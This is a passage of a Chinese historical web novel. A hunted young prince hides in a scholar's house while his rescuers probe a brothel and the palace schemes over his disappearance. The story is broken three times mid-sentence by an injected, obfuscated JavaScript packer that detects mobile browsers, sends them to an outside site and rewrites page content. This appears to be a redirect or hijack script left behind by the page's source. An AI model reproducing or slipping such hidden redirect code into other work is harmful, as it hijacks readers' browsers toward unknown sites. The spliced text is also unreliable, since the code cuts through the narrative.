烛光微亮,夜色静谧。 小七闻着张岁安衣袍上淡淡的兰芷香,眠在他的书案旁,睡了这些天来唯一的一个好觉。 他遁入了梦中。 梦里他好似又回到了太初观中,乳母轻轻推开房门,为他端来了晚膳。 “七皇子,用膳了。” 他转过身去,温声问道:“姑姑用过了吗?” “奴婢……用过了。”乳母眼神躲闪。 还是他平日惯吃的清粥小菜,只是吃完后,便脑袋昏沉,没一会儿就发晕睡了过去。 半夜,他迷迷糊糊地听见门外有人。 “大人,我……我已经照你们说的做了,我弟弟一家……” 一个男人的声音沉沉地响起:“你放心。” “那你们,你们要带七皇子去哪里……” 话音未落,便是刀鞘之声,刀刃呲地划过皮肉,甚至来不及听见受者的痛喊。 乳母死了。 他躲在屋中,瞬间浑身发凉。 或许是乳母心软了,饭里并没有下足药量,药不是毒药,只是迷药,想来是怕他死后宫里的人会来验尸。 他们把他迷晕,是想把他扔下山崖摔死,这样便可上报说七皇子失足,不幸坠崖而死,如此便可无凭无据。 他强撑着身子滚下榻,借着夜色,从后院的狗洞里爬了出去,跌跌撞撞地往山上跑走了。 山林夜色如墨,除了天上那半点残月,几乎什么也看不见,暗处蛰伏着声声狼吠,催得人阵阵心慌。 没过一会儿,狼吠停下了,取而代之的,是山下甲胄之人的脚步。 他们打着火把,身上的兵甲在山林中哐哐作响,像催命的鬼兵漫上山来。 “搜山!”来人气势狠厉。 他无处可逃,只能找了一处阴暗湿臭的石洞躲起来。 洞中有成堆的山鼠,叽叽喳喳地沿着脚往他身上爬,他死死咬着牙,半点声音也不敢发出来。 就这样过了一夜,他听见外面没有声音了,才扒开洞口的杂草堆,拖着僵硬的身子从里面爬了出来。 昨夜那些人身穿兵甲,俨然像是观中留存的守卫。他虽拜师清修,可毕竟还是皇子,身边一直留有专人守卫,之前领头的校尉姓钟,原本是陈老将军的部下,后来不知为何又被调走了,换了个新来的黄校尉。 观中的清虚道长是个修道之人,平日除了讲经论史以外,不管凡尘之事,而那传说中的得道高人芈仙人,更是只闻其名不见其人,四处云游,最多偶尔来那么一两封所谓的书信,慰问一下他这个连面都没见过的徒儿。 这样一想,太初观定是不能回去了。 他站在山林的冷风中,脑海中只能想到两个字:父皇。 这是他此刻能想到的,唯一能护他的人了。 如此,他只好沿着小径,悄无声息地往山下跑。 可回皇宫的路,他根本不认得,山间雾气弥漫,山路难行,露气打湿了脚底,踩着石子,又冷又滑。 浓雾中,似有车轮压过泥路的声响,赶着牛车的老农见他孤零零地缩在路边:“小娃,你往哪里去?” “我,我要去城中。” “可是去寻亲?” “是。” 老农挥了挥牛鞭,朗声道:“我孙子今日病了,没人帮我护着后面的瓜,你上来坐后面帮我看着,不要给颠落了,我顺道载你进城。” 他跳上牛车,颠簸了半日,终于到了绥京城外。 正准备进城时,却被城门的守卫拦下来了。 “官爷,怎么了?”老农问道。 守卫的目光扫过缩在一堆瓜果里的他,指问道:“这小孩是你什么人?” “路边搭车的,不相熟。” 守卫厉声道:“那你可以进,这个小孩不行。” “一小娃娃,为啥不能进?” 守卫不耐烦地摆了摆手:“上边给的消息,这几日,没有亲眷的幼子一律不许进城,有亲眷的,在那边登记入簿了才能进。” 老农面上为难,看了看他道:“那小娃,你赶紧下车吧,我还要进城送瓜咧。” 他钝钝地跳下了车,心也跟着一点点地沉了下去。 冥冥之中,他似有所感,自己一心想要回到宫中,去找那唯一能庇佑他的人,而那人却或许并不在意他的死活。 他没了去处,只能混在城外的小乞丐堆里,挤在枯杂的草垛上,捡别人不要的吃食。 直到又来了两个牙人,冲着乞丐堆里指指点点:“那个,那个生得白净。” 接着,那两人走了过来,低头看着他问道:“想不想进城过好日子?” 他微微一愣,不知如何作答,但听到能进城,还是轻轻点了点头。 牙人拎着他的胳膊,把他从地上拉起来,粗暴地掰开他的嘴看了看牙,转头冲着同伴笑道:“是娇生的,白捡了个便宜。” 没等他反应过来,那人就将他塞进一辆马车,给城门的守卫塞了几两碎银,便驾着车晃晃悠悠地进了城。 马车一路经过闹市,拐入了一处繁华楼阁的后院,他躲在里面,听见外面的人与一妇人细碎商量着,零零碎碎的,听不太清,没过一会儿,妇人掀开了后车帘,瞧了他一眼。 牙人得意道:“怎么样?值这个价吧。” 妇人麻木的脸色上堆着脂粉,挤出一抹生硬的笑,冲着他招呼道:“来,下来。” 他被半推半就地拉下了车,妇人又是掰开他的牙口,又是撩起他的胳膊,在他身上用竹片拍了半天,像是在检查牲畜的肥瘦一般。 “可有名字?”妇人问道。 他迟钝地摇了摇头。 妇人脸色一沉:“不会说话吗?”见眼前人不回应,她抬头冲着牙人道:“是个哑巴,再少算些银钱。” 他们把他送到秘阁之中,妇人叫上来几个膀大腰圆的下人:“去烧热汤来,给他浣洗。” 接着三两人便要上来脱他的衣服,他打开对方的手,踉跄着退步躲到墙边,撞得架上的瓷瓶摔落下来,碎了一地。 “还敢躲?”那些人见惯了这种场面,熟练地扑上前,一左一右地扯住他的胳膊,中间那人伸手就去扒他的衣服。 他手不能动,便干脆一口咬了上去,正巧咬死在那人的虎口上,那人疼得高呼一声,反手抡起巴掌,打得他半边脸麻。 “小兔崽子,”那人呵道,“打晕了再洗。” 几人正欲动手时,门外忽而传来一阵破门声—— 是方才那位妇人急匆匆地闯了进来。 她脸色阴沉,几步走近,见他正被一左一右地摁着,旋即顿步上前,抬起手,拨开了他面上的抹额。 在见到那额下的一枚红痣后,妇人浑身一怔,继而松手,厉声吩咐道:“此人之事,一概不可对外提起。”接着她转头看向他,“把人绑起来,用快马速速送出城外。” 他在马车上偷偷摸出藏在袖口的碎瓷片,割断了麻绳,趁赶车人不备,掀开车帘跳了下去,滚爬着钻进了街边的小巷。 他躲着,避着,却还是能听到人群中有人在寻他,那些人看起来像是官差,无论他躲去哪儿,他们都能名正言顺地将自己带走。 他一路颠沛,连滚带爬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445017|185064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,穿过熙熙攘攘的集市,像只受惊的狸猫,看谁都像是来取他性命的黑白无常。 他累得发晕,饿得发抖,却一刻也不敢停。 直到在闹市的人堆中,遇到了那个人,那个人一身华袍,缓缓蹲下时,衣上有股清冽的兰芷香气。 他与他平视而立。 “你别怕。”他听见他说,“吾乃当朝太学祭酒家的长公子。” 他的声音宛若清风,抚平了他的兵荒马乱。 他就这样蜷在他的书房里,闻着袅袅墨香,安安稳稳地睡了一夜。 第二日,晨光正好,无云无雾,春日艳阳照着青竹徐徐。 一精壮少年的声音,在张府的院中响起—— “你们个个都是我江府的精干,如今暂时调至张府,也不许有半分懈怠,若有形迹可疑的不法之人,都给我尽数拿下!”江崇一大早上就背着手站在门前,像个小将军般在那儿训话,他这几日不轮值,得闲无事,几乎是把张府当成了自己家里。 “是!”精壮府卫们朗声齐吼,震得廊檐上的鸟都惊飞了大半。 小七被这动静吵醒,从书案底下坐起身来,揉了揉眼睛,看了眼案上专门换过的铜制烛台,里面的烛火早已燃烬,只余下一缕黑漆漆的烟。 他爬起身来,踱步到门口,把门推开了一条缝,悄悄地往屋外瞧。 只是他还没来得及多看两眼,门缝的视线就被一身青色的直裾深衣给挡得严严实实,小七顺着衣摆缓缓往上看。 “醒了?”张岁安低头从门缝里看着他。 小七不说话,“砰”的一声把门缝给掩上了。 门外的声音还是隔着紧闭的房门挤了进来:“我今日要出府,彭吉留在府中,你若饿了,就去侧厢房找他。” 小七没作声,只是悄悄贴在门板后,听见门外的动静顿了半秒,那极轻的脚步声才渐渐远去。 他趁机又将门缝推开了半指节宽,偷偷朝屋外望—— 张岁安的身影正翩然转过回廊,广袖轻拂,身姿像片飘飘然的青云一般。 他今日穿得倜傥,青色的直裾深衣衬得人精神儒雅,上好的冰纨面料泛着柔光,内里的中衣领口上绣着一圈缠枝,远远看去,整个人像一朵初开的栀子花。 最让人挪不开眼的,还是他的腰身,鎏金错银的宽腰带,衬得那腰肢盈盈一握,明明是男子身段,却因这衣料的垂坠和收束,生出几分弱柳扶风的柔态来。 江崇远远地见他这身打扮,先是一愣,待他走近了,便连连咂嘴道:“你今日这是要,孔雀开屏呐?” 张岁安将广袖一展,露出腰间那一步一响的青玉禁步:“如何,像不像?” “像什么?” 张岁安眉峰一挑,神色略有几分精怪:“像不像流连朱楼的风流才子?” 江崇“噗嗤”一声笑出来,继而抬手扶颌,上下打量了一番后慢悠悠道:“不像才子,像朱楼的俏倌人。” “……”张岁安脸上的笑意一收,旋即拽着江崇的胳膊,就往府门外拖。 “哎哎哎,去哪啊?”江崇一个踉跄还没反应过来。 张岁安:“朱楼。” 江崇猛地刹住脚,僵在原地:“你要去朱楼?”他顿了顿,又补上一句,“阿秋知道吗?” 张岁安脚步一顿,眉目半嗔:“你想哪去了?” “要去你自己去,我不去。”江崇抱臂往那儿一站,装出一身正气道,“我爹这阵子正要去太仆家帮我说亲,要是被他知道我去那种地方,非得打死我不可。” 张岁安见他这副模样,毫不客气地揭短:“你上月不是才去过吗?” “那那那,那是别人请我喝酒我才去的。”江崇急红了脸,“你可别去我爹面前瞎说啊!” 张岁安手里攥着他的把柄,也不怕他不跟,只似笑非笑地看着他。 果然江崇见势就怂,索性大手一挥,懒得再装:“行行行,走走走。” 两个少年人你推我搡地出了张府的大门,上了备好的马车,一路往闹市去了。 9. 朱楼 朱楼这地方,与明堂那种靠才学博名头的雅堂虽各自殊途,但从某种角度来说,也算是异曲同工。 都是繁庭盛阁,都是权贵名流,只是买卖的东西不同。 明堂学子虽多出身寒门,但至少还是有些家底的,不然也供不起子弟读书习字,但朱楼的妓子小倌,十有八九都是走投无路的穷苦人家,只能靠卖儿卖女来换口救命的米粮。 当然也不乏那般生了女儿,卖来朱楼,再换了钱,去供家中子弟仕途的人家。 弟弟若能直上青云,发达了便帮姐姐赎身,姐姐若攀上了哪位贵人床榻,也不免要为弟弟谋个一官半职。 这世道,士族有士族的世交,穷人有穷人的往来。 张岁安自小家教清严,素来不曾踏足这风尘之地,却也想探一探这脂粉窟背后到底是哪路神仙,连一个逃跑的小倌都非要下死手不可。 他坐在雅间之中,盯着壁上挂着的一幅丹青看了又看,画上不过是寻常的山水,可笔触却透着几分别样的雅致,而落款竟还是当代的名家崔氏。 朱楼的一处普通雅间里,挂的就是宫廷画师的旧作,可见此处名家字画之盛,已到了司空见惯的地步。 “公子一直盯着这幅画看,可是也好丹青?”身旁的女娘摇着团扇娇嗔问道。 “不过随意看看,此画清雅,若是挂在书房中,倒别有一番韵致。”张岁安随口应道。 “公子若是喜欢,不如买下?”女娘媚眼如丝,更有几分精明。 “此等名家字画,定是价值不菲,我等未必出得起这个银钱。” “公子这话说得,”女娘嗔道,眼波朝他身上溜了一圈,“瞧瞧公子这一身的丝锦,哪里会缺这一幅画的银子?” 张岁安低头饮了一口杯中的清茶,清润回甘,是妥妥的新茶没错。明堂的茶以陈冲新,但这朱楼的茶倒是清冽鲜甜。 “昨日我与友人去明堂听辩,听闻这朱楼的茶乃绥京城中一绝,可见此言不虚。”张岁安缓缓放下茶盏道。 “公子这话可说对了,朱楼的茶,都是茶政司首批的,与那宫里的,可是同一批。”一位女娘转着手上那把玉柄团扇说道,“宫里贵人们喝的茶是什么味,朱楼的茶就是什么味。” “噢?”张岁安刻意皱了皱眉头缓道,“可明堂的主事说,他们的茶也是首批,我尝起来,却不是这个味道。” 江崇听罢,也闷头喝了两口:“有差别吗?我怎么尝不出来。” “这新茶即便密封得再好,放上一年,都是有些陈味儿的,”女娘语气惺忪平常,“旁人或许尝不出来,公子出身士族大家,定是懂茶之人,自然能觉出其中的不同。” 张岁安忽然一愣,眼神瞬间冷了半截,他抬眼上下打量着眼前这位女娘,此女容貌娇丽,但年岁却不算轻,谈吐略显老道,应是常年混迹于酒席间:“吾等来此,并未提及门第,娘子是如何看出‘士族’二字的?” 那女娘微微一怔,继而勾起唇角,迅速将眼神中的失态掩饰了过去,转而娇嗔道:“瞧瞧公子这一身打扮,就知道出身不显了呀,冰纨的缎子,上乘的青玉,可都不是寻常人家买得起的。” 说罢,她掀起半裙,一条腿就这样搭到了张岁安的座上。 张岁安脸色微僵,忙抬眼朝着江崇递了个眼色。 江崇低头扒拉着碟子里的小菜,俨然一副见死不想救的模样,心下想着,不是你偏要来的吗? 方才几位女娘刚刚进屋时,都抢着要坐张岁安身边,又是问他家门,又是问他是否婚配,只是几轮问下来,半句软话都没从这人嘴里挖出来过,任凭佳人再如何撩拨,他自岿然不动,活像一块捂不热的玉石头。 江崇倒是来者不拒,但面前坐着张岁安这样一位“小夫子”,感觉就像是被长辈死死盯着一般,也不敢过于越矩,只能埋头冲着案上的几盘小菜猛吃一通。 女娘见状,手中的团扇旋即向张岁安膝上拂去:“公子生得面若清玉,人生苦短,自在寻欢,何必要避?” 张岁安眼见退无可退,索性一本正经地来了句:“在下,体弱,素有隐疾,不任房帏。” 此话一出,旁边的江崇直接一口茶喷出了二里地。 那女娘眼珠在他身上溜了一圈儿,微微一笑,探究问道:“公子近女色而不兴,可是有其他喜好?朱楼佳人罗织,必不能让公子失意而归啊。” 张岁安见她既然问了,干脆顺着她的话头笑了笑,继而又补上一句:“我有一族弟,之前来了趟朱楼,在廊下见着位小公子,约莫十岁上下,面容清俊,头戴抹额,自此归去,念念不忘,不知娘子们可识得此人。” 那女娘闻言脸色几不可察地顿了顿,故作轻松地挥了挥手上的团扇,笑道:“公子说的这人,妾不曾见过,许是您那族弟瞧错了?” 其他几位女娘也都低眉垂目,纷纷缄默。 张岁安见此,拂袖抬盏,将杯中之茶一口饮尽,轻声应道:“那或许真是我那族弟记错了。” 两人没再久留,匆匆吃完,便出了朱楼。 刚走出门下的青石阶,江崇就察觉不对,扯了扯张岁安的袖子,朝他递了个眼神。 张岁安一秒会意,也闷不做声地继续往前走。 朱楼外候着的马夫见两人出来,旋即上前问道:“公子,可要回府吗?” “不回。”张岁安顿了顿,刻意提高了几分声量,“今日街市热闹,我们逛逛再回。” 说罢,便与江崇走入闹市之中,只叫了一个阿升跟在两人身后。 往来行人摩肩接踵,熙熙攘攘,江崇和张岁安两人故意绕着弯地往人堆里走,每走几步,还刻意在摊位前停留片刻,像是生怕身后那人跟不上似的。 那人自朱楼而出,似影子一般尾随其后,不远不近地与他们隔着数十步的距离,借着一路的行人遮挡身形,显然是个惯于追踪的老手。 待行至僻巷时,也就一眨眼的功夫,刚刚还跟在眼前的两人,就忽然没了踪影。 那人心下一慌,顿时乱了阵脚,左顾右盼,正愣得不知如何是好时,左肩忽然就被人拍了一下,他下意识地准备拔剑防卫,刚一转头,迎面就挨了一记结结实实的猛拳,锤得他眼冒金星。 “阿升,给我把他捆回江府审问。”江崇娴熟地扭了扭手腕道。 江崇的父亲江闫本是武将出身,奈何家有河东狮吼,这才被训得乖乖在朝中做起了文职。 这江母也非等闲之辈,她乃是上任老廷尉之女,一听说儿子从外面逮了个刺客回来,要是别家母亲,早就推着让人送到京兆尹去了,但江母却不然,毕竟审讯这一块,她有祖传的手艺。 老母在家,江崇是一点插不上手,只能跟张岁安直愣愣地站在院中候着。 两人一左一右,听着后院马厮中乒乒乓乓的一通乱响,又是马叫,又是人吼的,一会儿高,一会儿低,到最后,也分不清那惨叫到底是马是人。 不出半晌,后院大门一开,江母仪态端庄地迈步走了出来,冲着两位少年人慈祥一笑道:“审完了。” 江崇一愣:“这么快?” “就是一朱楼里替人办事的小厮,会点身手,知道的不多,但你们俩人——”江母忽然话锋一转,抬起手指着这俩不省心的小子道,“去朱楼作甚?!” 江崇见势,抬手往左边一指,想也没想地就把张岁安卖了:“是他!是他硬要我去的。” 张岁安向来沉稳,但碍于江母威严,额头上也不禁溢出微微薄汗,他拱手连连解释道:“江伯母,昨日我与云申在街上救了一从朱楼逃出来的小倌,他被人追杀逃窜,也不知是不是在朱楼中撞见了什么不该看的,故而我才拉着云申与我去朱楼一探究竟,我们只点了三两小菜,喝了杯茶,连酒都没喝。” “对对对,连酒都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445018|185064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝。”江崇规规矩矩地咧嘴笑道。 江母虽不信自家儿子,但这隔壁祭酒家的这位公子她还是知道的,说好听点是人品贵重,说难听点就是跟他那老爹一样,是千年老龟修成的石墩。 “你们两人,已经被朱楼的人盯上了,不管为的什么,以后都少去那种是非地。”江母的眼神从张岁安身上缓缓挪回到自己儿子头上,徒手往那脑袋上就是一敲,“尤其是你,要是被你爹知道了,你看他打不打断你的腿。” 张岁安思忖片刻,接着道:“伯母,朱楼为了一小倌如此大费周章,可见他……” 江母的眼神沉了几分:“子康啊,那个孩子,不是朱楼的小倌。” 江崇:“那为何朱楼的人还……” “朱楼也在盯着这个孩子,但他到底是谁,下面的人也问不出来。”江母抻了抻袖口,“那个刺客,我会找人处理,至于那个孩子,”她顿了顿,看向张岁安,欲言又止地劝道,“子康,你父亲如今不在家,他若是在,定不会让那个孩子在张府久留的,我劝你还是赶紧将他送走吧。” 说完,江母便大袖一揽,捏着江崇的耳朵往内堂去了。 张岁安心事重重地独自回了张府,一进府门,便远远地看见彭吉火急火燎地冲上来:“公子,你可回来了,那小倌把自己锁在你书房里,谁也不让进,饭也不吃,水也不喝,实在难伺候。” 张岁安走了多久,这孩子就硬是在书房里关了多久,张岁安不在,他就连下人给的水都不肯喝一口。 “小七?”张岁安走至书房前,门从里面上了闩,推也推不开,“我回来了,开门。” 里面静了半晌,随即门板后响了两声,门被轻轻地推开了一条缝,一只小眼睛缩在缝里,从下面滴溜溜地瞅着外面的人。 张岁安低头瞅了他两眼,苦笑着问道:“你可饿了?” 小七一顿,点了点头。 张岁安:“彭吉,去备两份粥饭来。” “哦。”彭吉瘪了瘪嘴,自顾自地往后院边走边埋怨,“怎么公子一让你吃你就吃,我们劝了半天连门都不让进……” 清粥小菜摆上桌,依然是张岁安先吃两口,小七再吃。 朱楼的酒菜他也没怎么下口,此刻正好也饿了。小七也饿,只是吃相比刚捡来那一晚要好上许多,举手投足间也是有条理的,显然以前是被人教导过。 “你可是以前出身大户,后来家族落败了,才沦落至此的?”张岁安轻声问道。 小七抬起眼皮看了他一眼,低头想了想,干脆点了点头。 “难怪你不愿说自己的姓名。”张岁安想着他或许是罪臣之后,所以才不愿多说自己的身份,免得惹是生非,他思忖片刻后,继续开口道,“你既已无亲故,绥京城中又有人想取你性命,我想着不如送你去南阳,南阳是张氏祖籍,我叔父亦在那儿为官,护你性命,不成问题。” 小七心下一空,他抬起头望向眼前人,仿若一只要被主人遗弃的幼犬,眼神瞬间镀了层霜。 张岁安被这眼神看得一怔,反倒有些无措,心想自己也没说错什么,怎么就好像辜负了这孩子一片期许似的。 “不是我不让你留在张府,实是张府如今……”张岁安连连解释,却又想到这朝堂局势跟一小儿也说不明白,抬头一看,又撞上那一双又怜又怨的小眼神,更是心虚得百口莫辩,“这样罢,你再多留些日子,等你不害怕了,我再送你去南阳,如何?” 小七依然是一副哀怨的眼神望着他,只是这其中,还多添了几分绝望的冷意。 张岁安被这怨怼的小眼神盯得发虚,只得无奈长叹,温声哄道:“好,不送了,不送了,可满意否?” 小七这才抿了抿嘴,低下头继续乖乖吃饭。 张岁安看着他这幅样子,是又好气又好笑,似是也没想到自己大发善心的结果,竟是揽上这样一个难缠的冤孽。 10. 心安处 “请陛下赐臣死罪!” 温承殿中,执金吾赵免“噗通”一声跪倒在堂下,高声自陈道: “近日京郊山外多有山贼,臣疏于防范,致使七皇子蒙难,实是百死难赎!” 景和帝还没开口,候在一旁的司隶校尉赵青就先行呵道:“大胆!七皇子还未寻到,何来蒙难一说,还不掌嘴。” 赵免一愣,也意识到自己说错了话,忙不迭地抬手打了自己好几巴掌,连声道:“臣失言,臣有罪,还望陛下恕罪!” 景和帝斜倚在软榻上,并未抬眼,乍暖还寒之际,他偶感风寒,中药一碗碗的喝,殿中浓郁的草药香总是挥之不去,他淡淡道:“既是还未寻到,那就去寻,大半夜跑到朕这里嚷嚷,能把人嚷回来吗?” 赵免闻声僵住,啪啪打脸的手也随之一顿,似是没想到景和帝听见自己儿子丢了,语气竟然这般不咸不淡,一时之间也不知如何接话,只能看向一旁的赵青求助。 “陛下,七皇子的乳母虽已被山贼所杀,但我们连夜搜山,也未曾寻到皇子尸身,想来七皇子有天家福泽庇佑,定能险象环生。”赵青借势一跪,拱手请命道,“赵免乃臣族亲,他之疏忽臣也难辞其咎,恳请陛下让臣等戴罪立功,若寻不回七皇子,臣,提头面圣!” 话音一落,便哐当往地上磕了个铿锵有力的响头,震得殿中回音荡荡。 他之所以如此言之凿凿,就是为了让景和帝疑无可疑。 嫡皇子若真蒙难,他赵家最是获益,与其事后落人话柄,不如先行请罪,再冠上一个找不回皇子就以命相赎的军令,这样即便景和帝心中有疑,也怪不了赵家什么。 景和帝未曾作声,先喝光了内官递上来的苦药,苦得眉头皱成一团,待苦味稍缓后,才扫了一眼跪着的两人,旋即低声允道:“去吧。” “喏!”赵青合拳领命,躬身退步,又扯了扯发愣的赵免,拉着他一齐退下了。 待臣子退尽后,温承殿的夜又格外沉了几分。 中常侍常玉躬身上前,轻声问道:“陛下今日,可还是要歇在瑶池殿?” 景和帝将手中的珠串盘转得碌碌作响,闭眼低声应了一句:“嗯。” 瑶池殿是赵贵嫔的寝殿,景和帝向来宿在此处。 赵贵嫔喜花卉,尤爱那春日的玉兰,宫人多有采摘布置在殿中,故而满室都有那玉兰清香,沁人心脾。 “玉瓒今日倒是不哭闹了。”景和帝躺在赵贵嫔膝上,任由她为自己揉着眼穴。 赵贵嫔温声道:“陛下近日来得勤,公主见有父皇在此,睡得也安稳多了。” 她知陛下今日到此,多少有些要试探她的意思,七皇子一事,赵家到底是脱不了干系。 怪就怪她那个哥哥甚是心急,赵家如今权势盛极,三皇子又得圣心,前路坦荡,可哥哥一见陛下身体有恙,又迟迟不立储君,便也耐不住气了,偏要去取那嫡皇子的性命。 若真事成,那便罢了,可如今那七皇子跑了,不仅跑入了绥京城中,还被张府给接入了自家府邸。 据眼线所报,这七皇子自入了张府,隔壁江府便将半数家兵都派了过去,张府的主君如今虽未入三公九卿,可那毕竟是士族大家的张府,赵氏再如何嚣张,也不敢大张旗鼓地闯进去找人。 更何况,他们手里本就不干净,七皇子到底知道多少,是否向那张府的长公子告密求助,也未可知。 事到如今,只能奏请圣上,请一道御旨才能破了那张府的大门。 赵贵嫔本以为景和帝会就此事,旁敲侧击地问上两句,谁知他竟是半句都没提过。 陛下忌惮士族,士族老臣信奉嫡长,自嫡皇子出生以来,陛下一直刻意疏远,就连那克亲的名声也是一样,若无圣上的默许,谁敢随意散布,只是这帝王之心,就如那深渊暗影,一时亲疏,不过表象,谁又能真正猜得准呢? “听闻老三最近课业有所精进。”景和帝忽然开口道。 赵贵嫔一怔,连忙接话道:“陛下教诲,他日日谨记于心,不敢怠慢。” “他是个敦厚孩子,但为君者,光是敦厚孝顺,难以用人。”景和帝闭着眼悠悠念道,“朕有意在朝中为他选一位老师,”他顿了顿,“张老太傅之子,张淮之,博学广闻,持重老成,有经天纬地之才,可惜啊,这人是个属龟的,缩在壳里不肯冒头。” 景和帝说罢笑了两声,赵贵嫔也装作有趣似的,跟着陪笑道:“张老太傅世代名门,子弟自然也都是有才学之人。” “若他愿为老三之师,朕或许会封他为太傅。” 赵贵嫔一怔,这话说得,张淮之封了太傅,那三皇子不就是太子吗? 景和帝微微睁开眼,看向赵贵嫔笑道:“这话朕就跟你说了,你可不要告诉老三呐,免得他得意忘形。” “是。”赵贵嫔莞尔一笑,“这是陛下与妾的闺房之话,自然不会让旁人听了去。” 夜色渐深,落了床帏,景和帝枕榻而眠,身旁的赵贵嫔却又一夜都没能睡得着。 她反复在心头念着陛下方才的那番话,张淮之这人惯会藏锋,就连自己身在后宫之中都有所耳闻,他不愿出山,谁也没有办法,如今陛下这意思,难不成是让三皇子去请他? 可这要如何请才是,圣上都用不动的人,三皇子如何请得出来? 更何况,七皇子现在还在张府中,如此敏感的关头,张府的人更是不能得罪。 想来想去,赵贵嫔跟着头疼了一夜,一转身,天已蒙蒙亮了,还要起来为陛下准备早膳的羹汤,她叹了一口气,从榻上轻手轻脚地坐起身,更衣去了。 - 张府的青竹浸在晨雾里,夜露随着叶尖垂落,滴滴砸在青石板上,好似滴漏声声。 张岁安推开卧门,深吸了一口春日早晨带有露气的微风,沁润心脾,好不畅快。 他走入廊下,透过庭院中的树影瞥见了紧闭的书房门,不知那屋里的孩子醒是没醒。 他没养过孩子,也不知道这十来岁的小孩竟如此难伺候。 前几日,一说要送小七去南阳,这孩子也不知怎的,忽然就病了一场,他这一病,张岁安自然也不好再提送他走的事。 也不知这小孩是不是惊悸未定,那断断续续的高热总是退不下来,烧得张岁安也跟着心焦。 彭吉随口说了句:“这个年纪的小孩发高热可不是小事,去年我表姑那娃,就是烧糊涂了没救回来。” 吓得张岁安两天没合眼。 找来郎中看了两三趟,又紧盯着下人喂药送食,半夜想起来了都要去摸摸他的额头,是生怕这小孩烧过头死家里,那可真是作孽了。 夜里,小七烧得迷糊,只感觉一双又凉又软的手掌心搭在自己的脑门上,让他不由得做起儿时的梦来。 他巴巴地含着苦药,牙关咬着不肯咽,嘴里总是念念有词—— “他在喊什么呢?”几个下人围在榻边琢磨。 彭吉探着个脑袋过去听了半晌:“他在……喊公子叫娘。” “……”张岁安脸色一青,连同府中的下人都在跟着忍笑。 张岁安母亲也走得早,小时候也是隔三差五地生病,望着这小孩烧得通红的脸,是又心软地想护着,又觉着亲昵得有些别扭,走又走不开,只好任由他攥着自己的袖口把自己当娘叫…… 好在这孩子身体骨还行,至少比他小时候要好,迷迷糊糊地咽了几副药下去,闷了几夜的汗,高热总算是退了。 却没想到这清醒过来的小孩,比那生病的更难伺候,病根未除,按照郎中的方子还要再喝上一阵,可一到要喝药的时候,小七就死活不肯张嘴。 下人没办法,只得找来张岁安哄。 “是嫌药苦?” 小七缩成一团顽石般,不肯作声,似是不解自己明明好了,为何还要喝药。 张岁安也不催他,只是在他榻前坐下,将药碗往他身前推了推:“药呢,要喝尽了才好。” 说着,从袖口取出一个油纸包,慢条斯理地打开,露出里头晶莹剔透的蜜饯果子:“东市铺子买的梅脯,上边儿裹的都是饴糖,尝尝?” 见小七僵在那儿不动,张岁安取了一粒,伸过手指,递到他嘴边,也不急着喂,只等着他自己张口。 小七抿了抿嘴,顿了半晌,旋即小猫啄食般地将那粒梅脯叼走,装作若无其事地埋头嚼了半天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445019|185064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “甜吗?”张岁安故意逗他。 小七不服气似的没吭声,里头的果核被剃掉了,满口酸甜的滋味咽下,胃口都好了许多,他滚了滚喉咙,转头又望向那一堆橙红的蜜饯。 张岁安忍笑道:“还想吃?” 小七偏着头望向他,几不可察地点了点头。 张岁安奸计得逞:“那先把药喝了。” 小七:“……” 这孩子垮着脸,纠结了半晌,最后还是气鼓鼓地捧起药碗,皱着鼻子咕咚咕咚灌了下去。 喝完还不忘飞快地抓起一把梅脯塞进嘴里,皱着眉头迅速地嚼,似是想将那股苦味给硬盖下去,撑得鼓鼓囊囊的腮帮子像只偷食的松鼠,看得张岁安是又好气又好笑。 小七看似比寻常孩子乖顺许多,从不哭闹,却硬生了一副倔牛脾气。 张岁安不在,他就不吃饭,一应膳食偏要张岁安亲手递到手里才肯动筷,更别提出门了,成日就缩在那书房里,一步也不肯外挪,就好似外面全是魑魅魍魉,只有书房里有什么能庇佑他的神灵一样。 张岁安没了法子,只好让人在书房里替他隔出半间来,铺了软榻,架了矮几,吃睡都在那个屋。 只是可怜了张岁安如此爱干净的一个人,也只能眼睁睁地看着自己那珍藏了百余古籍的墨香书房,就这样成了小七吃喝拉撒的窝,还弄得自己无处看书,最后只能与他划地为界,不能总让这小孩鸠占鹊巢。 白日里他在书案上看书,小七就蜷在一边写字。 张岁安看他闲着也是闲着,又见他的字写得甚是难看,便“小夫子”病上身,抄了一副字帖摆给他临摹,让他打发打发时间,顺便静心。 到了夜里,一人一灯,张岁安看书看得晚,小七熬不过了就趴在那方矮几上打瞌睡,鼻息吹得豆大的火苗悠悠轻颤。 